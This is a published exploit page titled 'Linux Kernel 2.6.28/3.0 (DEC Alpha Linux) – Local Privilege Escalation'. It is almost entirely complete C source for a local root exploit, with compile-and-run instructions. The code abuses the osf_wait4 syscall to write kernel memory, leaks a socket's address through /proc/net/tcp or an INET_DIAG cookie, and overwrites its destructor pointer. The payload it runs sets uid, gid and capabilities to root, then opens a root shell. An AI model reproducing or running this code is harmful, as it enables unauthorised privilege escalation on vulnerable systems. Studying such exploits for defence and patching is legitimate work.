Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) – Local Privilege Escalation
/* * DEC Alpha Linux <= 3.0 local root exploit * by Dan Rosenberg (@djrbliss) * * Usage: * $ gcc alpha-omega.c -o alpha-omega * $ ./alpha-omega * * Notes: * -Payload specific to <= 2.6.28 (no cred struct, modify as needed) * -Socket trigger tested on 2.6.28 (adjust offset as needed) * -INET_DIAG parsing code borrowed from netstat */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/inet_diag.h> #include <string.h> #include <sys/mman.h> #include <errno.h> #include <netinet/in.h> #define SYS_osf_wait4 7 #define SOCK_OFFSET 552 /* Offset of sk_destruct fptr in sock * struct, change for your kernel */ #define PAGE_SIZE 8192 /* DEC alpha page size is 8K */ #define KERNEL_BASE 0xfffffc0000000000 /* DEC alpha PAGE_OFFSET */ #define TASK_STRUCT_OFFSET 64 /* task_struct offset in thread_info */ #define PAYLOAD 0x20000 #define PORT 31337 static int uid, gid; /* Writes (0xff & value) << 8 to addr */ void kernel_write(unsigned long addr, int value) { int pid = fork(); if (pid) { /* wait4 backdoor number two? ;) */ syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1); return; } else { exit(value); } } /* Get the INET_DIAG cookie for our socket, which contains the low 32 bits * of the sock struct address */ unsigned int get_cookie(unsigned int port) { int fd; struct sockaddr_nl nladdr; struct { struct nlmsghdr nlh; struct inet_diag_req r; } req; struct msghdr msg; char buf[8192]; struct iovec iov; struct inet_diag_msg *r; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) return -1; memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = TCPDIAG_GETSOCK; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_pid = 0; req.nlh.nlmsg_seq = 123456; memset(&req.r, 0, sizeof(req.r)); req.r.idiag_family = AF_INET; req.r.idiag_states = 0xfff; req.r.idiag_ext = 0; iov.iov_base = &req; iov.iov_len = sizeof(req); msg = (struct msghdr) { .msg_name = (void*)&nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &msg, 0) < 0) { close(fd); return -1; } iov.iov_base = buf; iov.iov_len = sizeof(buf); while (1) { int status; struct nlmsghdr *h; msg = (struct msghdr) { (void*)&nladdr, sizeof(nladdr), &iov, 1, NULL, 0, 0 }; status = recvmsg(fd, &msg, 0); if (status < 0) { if (errno == EINTR) continue; close(fd); return -1; } if (status == 0) { close(fd); return -1; } h = (struct nlmsghdr*)buf; while (NLMSG_OK(h, status)) { if (h->nlmsg_seq == 123456) { if (h->nlmsg_type == NLMSG_DONE) { close(fd); return -1; } if (h->nlmsg_type == NLMSG_ERROR) { close(fd); return -1; } r = NLMSG_DATA(h); if (r->idiag_family == AF_INET && ntohs(r->id.idiag_sport) == port) return r->id.idiag_cookie[0]; } h = NLMSG_NEXT(h, status); } } close(fd); return -1; } /* Get the address of the sock struct for our socket */ unsigned long get_sock_addr(unsigned int port) { FILE *f; char buf[1024], path[512]; unsigned int testport, cookie, a; unsigned long addr, b; f = fopen("/proc/net/tcp", "r"); if (f < 0) { printf("[*] Failed to open /proc/net/tcp\n"); return 0; } while (fgets(buf, 1024, f)) { sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X " "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u " "%d\n", &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b, &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a, &a); if (testport == port) { /* If kptr_restrict is on... */ if (!addr) { cookie = get_cookie(port); addr = (unsigned long)cookie + KERNEL_BASE; } fclose(f); return addr; } } fclose(f); return 0; } void getroot() { int i; /* Alpha has 16K stacks */ unsigned long thread_info = (unsigned long)&i & ~0x3fff; unsigned long task_struct = *(unsigned long *)(thread_info + TASK_STRUCT_OFFSET); int *j = (int *)task_struct; for (i = 0; i < 1000; i++, j++) { if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid && j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) { /* uid, euid, suid, fsuid */ j[0] = j[1] = j[2] = j[3] = 0; /* gid, egid, sgid, fsgid */ j[4] = j[5] = j[6] = j[7] = 0; /* caps */ j[10] = j[11] = 0xffffffff; j[12] = j[13] = 0xffffffff; j[14] = j[15] = 0xffffffff; break; } } } void trampoline() { asm volatile( "mov %0, $0\n" "ldq $27, 0($0)\n" "jsr $26, ($27)\n" : : "r"(PAYLOAD)); } int main(int argc, char * argv[]) { unsigned long target, *payload; void *landing; int sock; struct sockaddr_in addr; size_t len; uid = getuid(); gid = getgid(); printf("[*] Opening TCP socket...\n"); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf("[*] Failed to open TCP socket.\n"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) { printf("[*] Failed to bind TCP socket.\n"); return -1; } /* Our socket won't appear in /proc/net/tcp unless it's listening */ if (listen(sock, 1)) { printf("[*] Failed to listen on TCP socket.\n"); return -1; } printf("[*] Getting socket address from INET_DIAG...\n"); target = get_sock_addr(PORT); if (!target) { printf("[*] Failed to get socket address.\n"); return -1; } printf("[*] Socket address: %lx\n", target); target += SOCK_OFFSET; printf("[*] Mapping payload...\n"); landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); /* We need to keep the address of our payload at a constant address, * so we can retrieve it and jump to it in our trampoline. */ payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if (landing == MAP_FAILED || payload == MAP_FAILED) { printf("[*] Failed to map payload.\n"); return -1; } *payload = (unsigned long)&getroot; memcpy((void *)landing, &trampoline, 256); printf("[*] Overwriting function pointer at %lx...\n", target); kernel_write(target, 0); kernel_write(target + 4, 0); kernel_write(target + 1, 1); printf("[*] Triggering payload...\n"); close(sock); if (getuid()) { printf("[*] Failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); } |